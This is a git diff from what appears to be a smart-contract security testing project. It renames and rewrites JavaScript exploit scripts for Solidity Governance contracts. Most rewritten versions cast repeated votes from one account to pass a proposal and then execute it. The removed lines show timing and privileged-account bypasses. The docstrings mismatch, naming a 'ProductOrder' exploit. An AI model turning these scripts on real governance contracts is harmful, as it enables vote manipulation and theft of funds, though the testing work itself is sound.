a/CI/exploits/synthesized-prompt-1/GovernanceExploit-24.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-24.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-24' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,44 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal - console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); - await sleep(10000); - - // Step 2: Vote on the proposal but not reaching the default threshold - console.log(`Voting on proposal ${proposalId}...`); + // Exploit the fact that voting counts are not correctly bounded await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(5000); - - // Step 3: Execute the proposal with privileged address and lower the vote threshold - console.log(`Executing proposal ${proposalId} and lowering vote threshold...`); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.privilegedAccount, // Use the privileged account address + from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed with dynamically lowered vote threshold!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -100,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-25.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-25.js similarity index 73% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-25.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-25.js index 057e870c..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-25.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-25.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-25' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,33 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal with an execution time set before the voting period ends - console.log("Creating a proposal with an execution time before the voting period ends..."); - const customExecutionTime = Math.floor(Date.now() / 1000) + 7; // 7 seconds from now, within the voting period - let createResult = await contractInstance.methods.createProposal(customExecutionTime).send({ + // Step 1: Create a proposal + let createResult = await contractInstance.methods.createProposal().send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + const proposalId = 0; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); + + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId} and custom execution time of 7 seconds from now`); - // Step 2: Execute the proposal before the voting period ends - console.log(`Waiting for execution time to be reached...`); - await sleep(8000); // Wait until custom execution time is reached + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } - console.log(`Executing proposal ${proposalId} before voting period ends...`); + // Wait for grace period to finish + console.log("Waiting for grace period to end..."); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed before the voting period ended!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -74,7 +87,6 @@ async function exploit(web3, envInfo, contractAddress) { - /** * Executes the exploit and checks its result * @@ -90,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-3.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-3.js similarity index 76% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-3.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-3.js index 515a4c46..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-3.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-3.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-3' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,10 +36,11 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal @@ -47,24 +48,34 @@ async function exploit(web3, envInfo, contractAddress) { from: envInfo.accounts[0], gas: 3000000 }); - await sleep(200); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 15 seconds!`); - await sleep(15000); + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); - // No votes are cast in this exploit + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } - // Step 2: Execute the proposal with an account that bypasses the vote count check - console.log("Executing the proposal with a privileged account..."); + // Wait for grace period to finish + console.log("Waiting for grace period to end..."); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[1], // Use an account other than 0x123 to bypass vote check + from: envInfo.accounts[0], gas: 3000000 }); - await sleep(200); - governanceExploitLogger.info(`Exploit successful!`) + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -90,7 +101,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-4.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-4.js new file mode 100644 index 00000000..1c870c94 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-4.js @@ -0,0 +1,111 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const getLogger = require('@lib/logging/logger').getLogger; +let governanceExploitLogger = getLogger('governance'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); + + + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let solcVersion = extractSolcVersion(source); +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + + try { + // Load the ABI of the Governance contract + const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + + const contractInstance = new web3.eth.Contract(abi, contractAddress); + + // Step 1: Create a proposal + let createResult = await contractInstance.methods.createProposal().send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + const proposalId = 0; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); + + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + + // Wait for grace period to finish + console.log("Waiting for grace period to end..."); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); + const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + governanceExploitLogger.info(`I am successful!`) + return true; + } catch (error) { + console.error("Error in governance actions:", error); + return false; + } +} + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + console.log(`contractAddress: ${contractAddress}`) + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-5.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-5.js new file mode 100644 index 00000000..1c870c94 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-5.js @@ -0,0 +1,111 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const getLogger = require('@lib/logging/logger').getLogger; +let governanceExploitLogger = getLogger('governance'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); + + + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let solcVersion = extractSolcVersion(source); +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + + try { + // Load the ABI of the Governance contract + const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + + const contractInstance = new web3.eth.Contract(abi, contractAddress); + + // Step 1: Create a proposal + let createResult = await contractInstance.methods.createProposal().send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + const proposalId = 0; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); + + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + + // Wait for grace period to finish + console.log("Waiting for grace period to end..."); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); + const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + governanceExploitLogger.info(`I am successful!`) + return true; + } catch (error) { + console.error("Error in governance actions:", error); + return false; + } +} + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + console.log(`contractAddress: ${contractAddress}`) + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + + return result; +} diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-6.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-6.js similarity index 78% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-6.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-6.js index 841025ab..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-6.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-6.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-6' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,43 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal with zero review and voting durations - console.log("Creating a proposal with zero review and voting durations..."); + // Step 1: Create a proposal let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - await sleep(200); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // No need to wait for review and voting periods since they are zero - - // Step 2: Vote on the proposal immediately - console.log(`Voting on proposal ${proposalId}...`); + // Exploit the fact that voting counts are not correctly bounded await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(5000); - + await sleep(10000); + // Step 3: Execute the proposal - console.log(`Executing proposal ${proposalId}...`); + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -97,8 +100,7 @@ async function exploit(web3, envInfo, contractAddress) { * @throws {Error} If there's an error during the test execution. */ module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-7.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-7.js similarity index 73% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-7.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-7.js index c7c80433..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-7.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-7.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-7' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal with no grace period - console.log("Creating a proposal with no grace period..."); + // Step 1: Create a proposal let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - await sleep(200); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); - await sleep(10000); + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); - // Step 2: Vote on the proposal to reach the threshold - for (let i = 0; i < 3; i++) { - console.log(`Voting on proposal ${proposalId}...`); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[i], + from: envInfo.accounts[0], gas: 3000000 }); - await sleep(1000); } - // No need to wait for grace period since it is bypassed - - // Step 3: Execute the proposal immediately - console.log(`Executing proposal ${proposalId} immediately after voting...`); + // Wait for grace period to finish + console.log("Waiting for grace period to end..."); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -101,7 +101,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-8.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-8.js similarity index 79% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-8.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-8.js index 5d7b9ac5..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-8.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-8.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-8' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,47 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal - console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); - await sleep(10000); + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); - // Step 2: Vote on the proposal multiple times after voting period - for (let i = 0; i < 3; i++) { - console.log(`Voting on proposal ${proposalId}...`); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - await sleep(500); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(5000); - + await sleep(10000); + // Step 3: Execute the proposal - console.log(`Executing proposal ${proposalId}...`); + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -102,7 +101,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-9.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-9.js similarity index 75% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-9.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-9.js index c4a00bbf..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-9.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-9.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-9' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,48 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal - console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); - await sleep(10000); - - // Step 2: Vote on the proposal but not reaching the threshold - console.log(`Voting on proposal ${proposalId}...`); + // Exploit the fact that voting counts are not correctly bounded await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(5000); - - // Step 3: Wait for bypass duration to finish - console.log("Waiting for bypass duration to end..."); - await sleep(10000); // Wait for an additional 10 seconds to allow bypass - - // Step 4: Execute the proposal - console.log(`Executing proposal ${proposalId}...`); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed without meeting vote threshold!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -103,7 +101,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-15.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-1.js similarity index 53% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-15.js rename to 